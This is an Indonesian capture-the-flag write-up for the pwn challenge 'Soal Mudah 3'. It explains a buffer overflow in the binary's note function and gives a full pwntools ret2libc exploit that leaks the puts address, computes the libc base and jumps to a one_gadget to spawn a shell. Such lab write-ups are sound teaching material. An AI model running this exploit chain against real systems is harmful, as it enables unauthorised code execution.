# 🐔 Soal Mudah 3 ## Overview & Description **Author : Stanley (Enryu#7942)** **Points : 1000 pts** **Difficulty : Hard** Google akan membantu kamu `nc 54.179.211.23 11103` [chall](https://drive.google.com/file/d/1ovHsckYJlvDbmSpMGFa6JDROLfYdw6Kv/view?usp=drive_link) [libc.so.6](https://drive.google.com/file/d/1ymcwNs3I0Y-BCKUmHdCXz6BHXS-vBZNG/view?usp=drive_link) ## Hints Apakah kalian dapat **membocorkan** sesuatu? Ada banyak jalan menuju 🐚 ~ ## TL;DR - Menemukan padding untuk buffer overflow agar program dapat me-leak address - Leak puts address untuk mendapatkan base address, tidak perlu mencari versi libc karena dari probset sudah diberikan libc nya - Gunakan **one_gadget** untuk mendapatkan shell ## Exploitation Diberikan beberapa attachment berupa binary dan **libc.so.6**. Karena kita diberikan libc oleh probset, pertama2 kita patch dulu binary tersebut dengan libc yang telah disediakan menggunakan **pwninit**. Setelah didecompile dan diteliti lebih dalam, binary ini memiliki 3 function, yaitu **add name**, **delete name**, dan **add note** Namun disini saat program memanggil function **note()** untuk menambahkan note, terdapat buffer overflow pada function ini. Buffer overflow disini dikarenakan program meng-inisialisasikan variabel **buff** sebesar **32** byte, namun program me-**read** variabel tersebut sebanyak **88** byte ![](https://i.imgur.com/PV6Fths.png) Celah ini bisa kita manfaatkan untuk melakukan ret2libc. Mengapa ret2libc bisa dilakukan untuk mengeksploitasi binary ini?.... Ini dikarenakan saat binary sudah bisa kita eksploitasi menggunakan teknik **buffer overflow**, namun kita tidak bisa mendapatkan shell, karena tidak adanya gadget syscall maupun function yang berisi **system(/bin/sh)** Untuk melakukan ret2libc sendiri, kita perlu melakukan **leak** address dari beberapa function yang ada di binary ini (Sesuai dari hint challenge). Setelah dicari, ternyata program memanggil lumayan banyak function disini ![](https://i.imgur.com/TWYwnnV.png) Kita bisa menggunakan **puts** maupun **printf** untuk melakukan leak address Jadi idenya kurang lebih seperti ini : - Leak address dari **puts@GLIBC** yang terdapat pada memory (address ini terdapat di **@plt**) - Kalkulasikan base address dari libc dengan cara **(leak - libc.sym["puts"])** - Mendapatkan shell menggunakan **one_gadget** ### Leaking puts() address & calculating LIBC base address <details> <summary>Leak Puts Address</summary> ```python io = start() libc = ELF("./libc.so.6") padding = 40 pop_rdi = ROP(elf).find_gadget(['pop rdi'])[0] ret = ROP(elf).find_gadget(['ret'])[0] # Jaga2 bila terjadi stack alignment pada program payload = flat({ padding: [ pop_rdi, elf.got["puts"], elf.plt["puts"], elf.sym.main ] }) io.sendlineafter(b"> ", '3') io.sendlineafter(b": ", payload) io.interactive() ``` </details> ![](https://i.imgur.com/ZUkKdFs.png) Bisa kita lihat disini, kita telah berhasil me-leak address dari **puts@GLIBC**. Tinggal kita unpack lalu kalkulasi **base address**. <details> <summary>Unpack and Calculate LIBC Base Address</summary> ``` python leak = u64(io.recvline()[:-1].ljust(8, b'\x00')) log.info("leaked puts: %#x", leak) libc_addr = leak - libc.sym['puts'] log.info("libc address: %#x", libc_addr) ``` </details> ![](https://i.imgur.com/jgsECg5.png) ### Get shell using one_gadget instead of calling system(/bin/sh) Namun disini, daripada memanggil **system(/bin/sh)**, saya memilih untuk menggunakan **one_gadget** untuk mendapatkan shell ![](https://i.imgur.com/GJWOFUh.png) Saya akan menggunakan yang pertama, karena di **ROPgadget** juga kebetulan ada gadget **pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret**. Oh iya, jangan lupa untuk mengisi **r12 & r15** dengan null byte, sesuai dengan constraints dari **one_gadget** <details> <summary>Payload using one_gadget</summary> ```python= payload2 = flat({ padding: [ r12_r13_r14_r15, 0x0, # r12 harus null 0xdeadbeef, 0xcafebabe, 0x0, # r15 juga harus null libc_addr + 0xe3afe ] }) ``` </details> ![](https://i.imgur.com/Qel3s6E.png) Dan kita berhasil mendapatkan shell ! ## Solve Script <details> <summary>exploit.py</summary> ```python io = start() libc = ELF("./libc.so.6") padding = 40 pop_rdi = ROP(elf).find_gadget(['pop rdi'])[0] r12_r13_r14_r15 = 0x000000000040162c ret = ROP(elf).find_gadget(['ret'])[0] # Jaga2 bila terjadi stack alignment pada program payload = flat({ padding: [ pop_rdi, elf.got["puts"], elf.plt["puts"], elf.sym.main ] }) io.sendlineafter(b"> ", '3') io.sendlineafter(b": ", payload) leak = u64(io.recvline()[:-1].ljust(8, b'\x00')) log.info("leaked puts: %#x", leak) libc_addr = leak - libc.sym['puts'] log.info("libc address: %#x", libc_addr) io.sendlineafter(b"> ", b'3') payload2 = flat({ padding: [ r12_r13_r14_r15, 0x0, 0xdeadbeef, 0xcafebabe, 0x0, libc_addr + 0xe3afe ] }) io.sendlineafter(b": ", payload2) io.interactive() ``` </details>